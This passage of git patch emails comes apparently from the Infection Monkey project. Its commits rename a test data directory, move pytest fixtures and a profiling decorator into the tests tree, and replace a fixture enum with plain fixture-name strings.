.../server_configs/test_server_config.json | 0 .../monkey_island/cc/environment/conftest.py | 16 ++++++++-------- .../cc/environment/test_environment.py | 16 ++++++---------- monkey/tests/monkey_island/cc/test_encryptor.py | 12 ++++++------ monkey/tests/monkey_island/conftest.py | 8 ++++---- 13 files changed, 26 insertions(+), 30 deletions(-) rename monkey/tests/{mocked_data => data_for_tests}/logger_config.json (100%) rename monkey/tests/{mocked_data => data_for_tests}/mongo_key.bin (100%) rename monkey/tests/{mocked_data => data_for_tests}/server_configs/server_config_no_credentials.json (100%) rename monkey/tests/{mocked_data => data_for_tests}/server_configs/server_config_partial_credentials.json (100%) rename monkey/tests/{mocked_data => data_for_tests}/server_configs/server_config_standard_env.json (100%) rename monkey/tests/{mocked_data => data_for_tests}/server_configs/server_config_standard_with_credentials.json (100%) rename monkey/tests/{mocked_data => data_for_tests}/server_configs/server_config_with_credentials.json (100%) rename monkey/tests/{mocked_data => data_for_tests}/server_configs/test_server_config.json (100%) diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 4cf7471f58b..b0e9e9c2e39 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -9,8 +9,8 @@ @pytest.fixture(scope="session") -def mocked_data_dir(pytestconfig): - return os.path.join(pytestconfig.rootdir, "monkey", "tests", "mocked_data") +def data_for_tests_dir(pytestconfig): + return os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests") @pytest.fixture diff --git a/monkey/tests/mocked_data/logger_config.json b/monkey/tests/data_for_tests/logger_config.json similarity index 100% rename from monkey/tests/mocked_data/logger_config.json rename to monkey/tests/data_for_tests/logger_config.json diff --git a/monkey/tests/mocked_data/mongo_key.bin b/monkey/tests/data_for_tests/mongo_key.bin similarity index 100% rename from monkey/tests/mocked_data/mongo_key.bin rename to monkey/tests/data_for_tests/mongo_key.bin diff --git a/monkey/tests/mocked_data/server_configs/server_config_no_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json similarity index 100% rename from monkey/tests/mocked_data/server_configs/server_config_no_credentials.json rename to monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json diff --git a/monkey/tests/mocked_data/server_configs/server_config_partial_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json similarity index 100% rename from monkey/tests/mocked_data/server_configs/server_config_partial_credentials.json rename to monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json diff --git a/monkey/tests/mocked_data/server_configs/server_config_standard_env.json b/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json similarity index 100% rename from monkey/tests/mocked_data/server_configs/server_config_standard_env.json rename to monkey/tests/data_for_tests/server_configs/server_config_standard_env.json diff --git a/monkey/tests/mocked_data/server_configs/server_config_standard_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json similarity index 100% rename from monkey/tests/mocked_data/server_configs/server_config_standard_with_credentials.json rename to monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json diff --git a/monkey/tests/mocked_data/server_configs/server_config_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json similarity index 100% rename from monkey/tests/mocked_data/server_configs/server_config_with_credentials.json rename to monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json diff --git a/monkey/tests/mocked_data/server_configs/test_server_config.json b/monkey/tests/data_for_tests/server_configs/test_server_config.json similarity index 100% rename from monkey/tests/mocked_data/server_configs/test_server_config.json rename to monkey/tests/data_for_tests/server_configs/test_server_config.json diff --git a/monkey/tests/monkey_island/cc/environment/conftest.py b/monkey/tests/monkey_island/cc/environment/conftest.py index 0450437a191..767f765d9b9 100644 --- a/monkey/tests/monkey_island/cc/environment/conftest.py +++ b/monkey/tests/monkey_island/cc/environment/conftest.py @@ -4,20 +4,20 @@ @pytest.fixture(scope="module") -def with_credentials(mocked_server_configs_dir): - return os.path.join(mocked_server_configs_dir, "server_config_with_credentials.json") +def with_credentials(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_with_credentials.json") @pytest.fixture(scope="module") -def no_credentials(mocked_server_configs_dir): - return os.path.join(mocked_server_configs_dir, "server_config_no_credentials.json") +def no_credentials(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_no_credentials.json") @pytest.fixture(scope="module") -def partial_credentials(mocked_server_configs_dir): - return os.path.join(mocked_server_configs_dir, "server_config_partial_credentials.json") +def partial_credentials(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_partial_credentials.json") @pytest.fixture(scope="module") -def standard_with_credentials(mocked_server_configs_dir): - return os.path.join(mocked_server_configs_dir, "server_config_standard_with_credentials.json") +def standard_with_credentials(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_standard_with_credentials.json") diff --git a/monkey/tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/monkey_island/cc/environment/test_environment.py index 3b0c2c713fd..030f99169b7 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment.py @@ -27,24 +27,20 @@ # This fixture is a dirty hack that can be removed once these tests are converted from # unittest to pytest. Instead, the appropriate fixtures from conftest.py can be used. @pytest.fixture(scope="module", autouse=True) -def configure_resources(mocked_server_configs_dir): +def configure_resources(server_configs_dir): global WITH_CREDENTIALS global NO_CREDENTIALS global PARTIAL_CREDENTIALS global STANDARD_WITH_CREDENTIALS global STANDARD_ENV - WITH_CREDENTIALS = os.path.join( - mocked_server_configs_dir, "server_config_with_credentials.json" - ) - NO_CREDENTIALS = os.path.join(mocked_server_configs_dir, "server_config_no_credentials.json") - PARTIAL_CREDENTIALS = os.path.join( - mocked_server_configs_dir, "server_config_partial_credentials.json" - ) + WITH_CREDENTIALS = os.path.join(server_configs_dir, "server_config_with_credentials.json") + NO_CREDENTIALS = os.path.join(server_configs_dir, "server_config_no_credentials.json") + PARTIAL_CREDENTIALS = os.path.join(server_configs_dir, "server_config_partial_credentials.json") STANDARD_WITH_CREDENTIALS = os.path.join( - mocked_server_configs_dir, "server_config_standard_with_credentials.json" + server_configs_dir, "server_config_standard_with_credentials.json" ) - STANDARD_ENV = os.path.join(mocked_server_configs_dir, "server_config_standard_env.json") + STANDARD_ENV = os.path.join(server_configs_dir, "server_config_standard_env.json") def get_tmp_file(): diff --git a/monkey/tests/monkey_island/cc/test_encryptor.py b/monkey/tests/monkey_island/cc/test_encryptor.py index b92b6cf1132..0ca724d4426 100644 --- a/monkey/tests/monkey_island/cc/test_encryptor.py +++ b/monkey/tests/monkey_island/cc/test_encryptor.py @@ -8,20 +8,20 @@ CYPHERTEXT = "vKgvD6SjRyIh1dh2AM/rnTa0NI/vjfwnbZLbMocWtE4e42WJmSUz2ordtbQrH1Fq" -def test_aes_cbc_encryption(mocked_data_dir): - initialize_encryptor(mocked_data_dir) +def test_aes_cbc_encryption(data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) assert get_encryptor().enc(PLAINTEXT) != PLAINTEXT -def test_aes_cbc_decryption(mocked_data_dir): - initialize_encryptor(mocked_data_dir) +def test_aes_cbc_decryption(data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) assert get_encryptor().dec(CYPHERTEXT) == PLAINTEXT -def test_aes_cbc_enc_dec(mocked_data_dir): - initialize_encryptor(mocked_data_dir) +def test_aes_cbc_enc_dec(data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) assert get_encryptor().dec(get_encryptor().enc(PLAINTEXT)) == PLAINTEXT diff --git a/monkey/tests/monkey_island/conftest.py b/monkey/tests/monkey_island/conftest.py index 589f3f20ce0..4b7149595b8 100644 --- a/monkey/tests/monkey_island/conftest.py +++ b/monkey/tests/monkey_island/conftest.py @@ -4,10 +4,10 @@ @pytest.fixture(scope="module") -def mocked_server_configs_dir(mocked_data_dir): - return os.path.join(mocked_data_dir, "server_configs") +def server_configs_dir(data_for_tests_dir): + return os.path.join(data_for_tests_dir, "server_configs") @pytest.fixture(scope="module") -def test_server_config(mocked_server_configs_dir): - return os.path.join(mocked_server_configs_dir, "test_server_config.json") +def test_server_config(server_configs_dir): + return os.path.join(server_configs_dir, "test_server_config.json") From c85ac0f6109b7bc1fe28391d1f08c51d46965551 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 May 2021 09:30:20 +0300 Subject: [PATCH 0510/1360] Moved unit test files and profiling test decorator into test directory away from production code --- monkey/monkey_island/cc/test_common/__init__.py | 0 monkey/monkey_island/cc/test_common/fixtures/__init__.py | 4 ---- monkey/tests/monkey_island/cc/conftest.py | 2 +- .../fixtures => tests/monkey_island/cc}/fixture_enum.py | 0 monkey/tests/monkey_island/cc/models/test_monkey.py | 2 +- .../cc/models/zero_trust/test_monkey_finding.py | 2 +- .../cc/models/zero_trust/test_scoutsuite_finding.py | 2 +- .../monkey_island/cc}/mongomock_fixtures.py | 0 .../monkey_island/cc/services/edge/test_edge_service.py | 2 +- .../monkey_findings/test_monkey_zt_finding_service.py | 2 +- .../zero_trust/scoutsuite/test_scoutsuite_auth_service.py | 2 +- .../scoutsuite/test_scoutsuite_zt_finding_service.py | 2 +- .../zero_trust/zero_trust_report/test_finding_service.py | 2 +- .../zero_trust/zero_trust_report/test_pillar_service.py | 2 +- .../zero_trust/zero_trust_report/test_principle_service.py | 2 +- .../cc/test_common => tests}/profiling/README.md | 6 +++--- .../test_common => tests}/profiling/profiler_decorator.py | 0 17 files changed, 14 insertions(+), 18 deletions(-) delete mode 100644 monkey/monkey_island/cc/test_common/__init__.py delete mode 100644 monkey/monkey_island/cc/test_common/fixtures/__init__.py rename monkey/{monkey_island/cc/test_common/fixtures => tests/monkey_island/cc}/fixture_enum.py (100%) rename monkey/{monkey_island/cc/test_common/fixtures => tests/monkey_island/cc}/mongomock_fixtures.py (100%) rename monkey/{monkey_island/cc/test_common => tests}/profiling/README.md (76%) rename monkey/{monkey_island/cc/test_common => tests}/profiling/profiler_decorator.py (100%) diff --git a/monkey/monkey_island/cc/test_common/__init__.py b/monkey/monkey_island/cc/test_common/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/monkey/monkey_island/cc/test_common/fixtures/__init__.py b/monkey/monkey_island/cc/test_common/fixtures/__init__.py deleted file mode 100644 index fd208655aef..00000000000 --- a/monkey/monkey_island/cc/test_common/fixtures/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -# Without these imports pytests can't use fixtures, -# because they are not found -from .fixture_enum import FixtureEnum # noqa: F401 -from .mongomock_fixtures import * # noqa: F401,F403 diff --git a/monkey/tests/monkey_island/cc/conftest.py b/monkey/tests/monkey_island/cc/conftest.py index 0ed1533abdc..b9aabe4ef1f 100644 --- a/monkey/tests/monkey_island/cc/conftest.py +++ b/monkey/tests/monkey_island/cc/conftest.py @@ -1,3 +1,3 @@ # Without these imports pytests can't use fixtures, # because they are not found -from monkey_island.cc.test_common.fixtures import * # noqa: F401,F403 +from tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403 diff --git a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py b/monkey/tests/monkey_island/cc/fixture_enum.py similarity index 100% rename from monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py rename to monkey/tests/monkey_island/cc/fixture_enum.py diff --git a/monkey/tests/monkey_island/cc/models/test_monkey.py b/monkey/tests/monkey_island/cc/models/test_monkey.py index 542309ae589..503c2a6f317 100644 --- a/monkey/tests/monkey_island/cc/models/test_monkey.py +++ b/monkey/tests/monkey_island/cc/models/test_monkey.py @@ -3,10 +3,10 @@ from time import sleep import pytest +from tests.monkey_island.cc.fixture_enum import FixtureEnum from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError from monkey_island.cc.models.monkey_ttl import MonkeyTtl -from monkey_island.cc.test_common.fixtures import FixtureEnum logger = logging.getLogger(__name__) diff --git a/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py index f7cf39d2248..04482b0deae 100644 --- a/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py +++ b/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py @@ -1,12 +1,12 @@ import pytest from mongoengine import ValidationError +from tests.monkey_island.cc.fixture_enum import FixtureEnum import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.test_common.fixtures import FixtureEnum MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] diff --git a/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py index 07809cd903f..5c45d773e8b 100644 --- a/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ b/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -1,5 +1,6 @@ import pytest from mongoengine import ValidationError +from tests.monkey_island.cc.fixture_enum import FixtureEnum import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding @@ -7,7 +8,6 @@ from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES -from monkey_island.cc.test_common.fixtures import FixtureEnum MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] diff --git a/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py b/monkey/tests/monkey_island/cc/mongomock_fixtures.py similarity index 100% rename from monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py rename to monkey/tests/monkey_island/cc/mongomock_fixtures.py diff --git a/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py b/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py index 99ecf52d72f..cc4f7f4a07d 100644 --- a/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py +++ b/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py @@ -2,10 +2,10 @@ import pytest from mongomock import ObjectId +from tests.monkey_island.cc.fixture_enum import FixtureEnum from monkey_island.cc.models.edge import Edge from monkey_island.cc.services.edge.edge import EdgeService -from monkey_island.cc.test_common.fixtures import FixtureEnum logger = logging.getLogger(__name__) diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index b92a52ae1b3..2d42cdf61e9 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -1,6 +1,7 @@ from datetime import datetime import pytest +from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event @@ -9,7 +10,6 @@ from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( MonkeyZTFindingService, ) -from monkey_island.cc.test_common.fixtures import FixtureEnum EVENTS = [ Event.create_event( diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 00eae32e73c..4b61d6396ee 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -2,6 +2,7 @@ import dpath.util import pytest +from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.database import mongo @@ -10,7 +11,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( is_aws_keys_setup, ) -from monkey_island.cc.test_common.fixtures import FixtureEnum class MockObject: diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index de7b5635e94..64febd08c8e 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -1,4 +1,5 @@ import pytest +from tests.monkey_island.cc.fixture_enum import FixtureEnum from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding @@ -9,7 +10,6 @@ RULES, SCOUTSUITE_FINDINGS, ) -from monkey_island.cc.test_common.fixtures import FixtureEnum class TestScoutSuiteZTFindingService: diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index 37d432bf402..46946c7ba14 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -1,6 +1,7 @@ from unittest.mock import MagicMock import pytest +from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.common_consts.zero_trust_consts import ( DEVICES, @@ -22,7 +23,6 @@ EnrichedFinding, FindingService, ) -from monkey_island.cc.test_common.fixtures.fixture_enum import FixtureEnum @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 3b6da848f46..51c94cb3253 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -1,6 +1,7 @@ from typing import List import pytest +from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.common_consts import zero_trust_consts from common.common_consts.zero_trust_consts import ( @@ -16,7 +17,6 @@ from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( # noqa: E501 save_example_findings, ) -from monkey_island.cc.test_common.fixtures import FixtureEnum @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index 7eb6b19cd7a..be744b3b02d 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -1,4 +1,5 @@ import pytest +from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.common_consts import zero_trust_consts from monkey_island.cc.services.zero_trust.test_common.finding_data import ( @@ -8,7 +9,6 @@ from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import ( PrincipleService, ) -from monkey_island.cc.test_common.fixtures import FixtureEnum EXPECTED_DICT = { "test_pillar1": [ diff --git a/monkey/monkey_island/cc/test_common/profiling/README.md b/monkey/tests/profiling/README.md similarity index 76% rename from monkey/monkey_island/cc/test_common/profiling/README.md rename to monkey/tests/profiling/README.md index d0cb92bfab7..d22d2188c75 100644 --- a/monkey/monkey_island/cc/test_common/profiling/README.md +++ b/monkey/tests/profiling/README.md @@ -1,9 +1,9 @@ # Profiling island -To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])` -decorator can be used. +To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])` +decorator can be used. Use it as a parameterised decorator(`@profile()`). After decorated method is used, a file will appear in a directory provided in `profiler_decorator.py`. Filename describes the path of the method that was profiled. For example if method `monkey_island/cc/resources/netmap.get` -was profiled, then the results of this profiling will appear in +was profiled, then the results of this profiling will appear in `monkey_island_cc_resources_netmap_get`. diff --git a/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py b/monkey/tests/profiling/profiler_decorator.py similarity index 100% rename from monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py rename to monkey/tests/profiling/profiler_decorator.py From 4f25e1b6c897a389783a23254adfefcc3ebcdda0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 May 2021 09:38:12 +0300 Subject: [PATCH 0511/1360] Refactored to use fixtures without enum, to be consistent with other UT code --- monkey/tests/monkey_island/cc/fixture_enum.py | 2 -- .../tests/monkey_island/cc/models/test_monkey.py | 15 +++++++-------- .../cc/models/zero_trust/test_monkey_finding.py | 5 ++--- .../models/zero_trust/test_scoutsuite_finding.py | 5 ++--- .../cc/services/edge/test_edge_service.py | 3 +-- .../test_monkey_zt_finding_service.py | 5 ++--- .../scoutsuite/test_scoutsuite_auth_service.py | 3 +-- .../test_scoutsuite_zt_finding_service.py | 3 +-- .../zero_trust_report/test_finding_service.py | 3 +-- .../zero_trust_report/test_pillar_service.py | 5 ++--- .../zero_trust_report/test_principle_service.py | 3 +-- 11 files changed, 20 insertions(+), 32 deletions(-) delete mode 100644 monkey/tests/monkey_island/cc/fixture_enum.py diff --git a/monkey/tests/monkey_island/cc/fixture_enum.py b/monkey/tests/monkey_island/cc/fixture_enum.py deleted file mode 100644 index c0bc1f1aa33..00000000000 --- a/monkey/tests/monkey_island/cc/fixture_enum.py +++ /dev/null @@ -1,2 +0,0 @@ -class FixtureEnum: - USES_DATABASE = "uses_database" diff --git a/monkey/tests/monkey_island/cc/models/test_monkey.py b/monkey/tests/monkey_island/cc/models/test_monkey.py index 503c2a6f317..2df8be4dd92 100644 --- a/monkey/tests/monkey_island/cc/models/test_monkey.py +++ b/monkey/tests/monkey_island/cc/models/test_monkey.py @@ -3,7 +3,6 @@ from time import sleep import pytest -from tests.monkey_island.cc.fixture_enum import FixtureEnum from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError from monkey_island.cc.models.monkey_ttl import MonkeyTtl @@ -12,7 +11,7 @@ class TestMonkey: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_is_dead(self): # Arrange alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) @@ -38,7 +37,7 @@ def test_is_dead(self): assert mia_monkey.is_dead() assert not alive_monkey.is_dead() - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_ttl_renewal(self): # Arrange monkey = Monkey(guid=str(uuid.uuid4())) @@ -49,7 +48,7 @@ def test_ttl_renewal(self): monkey.renew_ttl() assert monkey.ttl_ref - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_single_monkey_by_id(self): # Arrange a_monkey = Monkey(guid=str(uuid.uuid4())) @@ -63,7 +62,7 @@ def test_get_single_monkey_by_id(self): with pytest.raises(MonkeyNotFoundError) as _: _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef") - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_os(self): linux_monkey = Monkey( guid=str(uuid.uuid4()), @@ -79,7 +78,7 @@ def test_get_os(self): assert 1 == len([m for m in Monkey.objects() if m.get_os() == "linux"]) assert 1 == len([m for m in Monkey.objects() if m.get_os() == "unknown"]) - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_tunneled_monkeys(self): linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") windows_monkey = Monkey( @@ -100,7 +99,7 @@ def test_get_tunneled_monkeys(self): ) assert test - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_label_by_id(self): hostname_example = "a_hostname" ip_example = "1.1.1.1" @@ -148,7 +147,7 @@ def test_get_label_by_id(self): assert cache_info_after_query_3.hits == 1 assert cache_info_after_query_3.misses == 2 - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_is_monkey(self): a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() diff --git a/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py index 04482b0deae..ec0f741df46 100644 --- a/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py +++ b/monkey/tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py @@ -1,6 +1,5 @@ import pytest from mongoengine import ValidationError -from tests.monkey_island.cc.fixture_enum import FixtureEnum import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event @@ -13,7 +12,7 @@ class TestMonkeyFinding: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_save_finding_validation(self): with pytest.raises(ValidationError): _ = MonkeyFinding.save_finding( @@ -22,7 +21,7 @@ def test_save_finding_validation(self): detail_ref=MONKEY_FINDING_DETAIL_MOCK, ) - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_save_finding_sanity(self): assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 diff --git a/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py index 5c45d773e8b..a9ce8837e89 100644 --- a/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ b/monkey/tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -1,6 +1,5 @@ import pytest from mongoengine import ValidationError -from tests.monkey_island.cc.fixture_enum import FixtureEnum import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding @@ -16,7 +15,7 @@ class TestScoutSuiteFinding: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_save_finding_validation(self): with pytest.raises(ValidationError): _ = ScoutSuiteFinding.save_finding( @@ -25,7 +24,7 @@ def test_save_finding_validation(self): detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, ) - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_save_finding_sanity(self): assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 diff --git a/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py b/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py index cc4f7f4a07d..8754d5fac2f 100644 --- a/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py +++ b/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py @@ -2,7 +2,6 @@ import pytest from mongomock import ObjectId -from tests.monkey_island.cc.fixture_enum import FixtureEnum from monkey_island.cc.models.edge import Edge from monkey_island.cc.services.edge.edge import EdgeService @@ -11,7 +10,7 @@ class TestEdgeService: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_or_create_edge(self): src_id = ObjectId() dst_id = ObjectId() diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index 2d42cdf61e9..6248be02c49 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -1,7 +1,6 @@ from datetime import datetime import pytest -from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event @@ -40,7 +39,7 @@ class TestMonkeyZTFindingService: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_create_or_add_to_existing_creation(self): # Create new finding MonkeyZTFindingService.create_or_add_to_existing( @@ -55,7 +54,7 @@ def test_create_or_add_to_existing_creation(self): assert len(finding_details.events) == 1 assert finding_details.events[0].message == EVENTS[0].message - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_create_or_add_to_existing_addition(self): # Create new finding MonkeyZTFindingService.create_or_add_to_existing( diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 4b61d6396ee..faea76f4fda 100644 --- a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -2,7 +2,6 @@ import dpath.util import pytest -from tests.monkey_island.cc.fixture_enum import FixtureEnum from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.database import mongo @@ -17,7 +16,7 @@ class MockObject: pass -@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +@pytest.mark.usefixtures("uses_database") def test_is_aws_keys_setup(tmp_path): # Mock default configuration 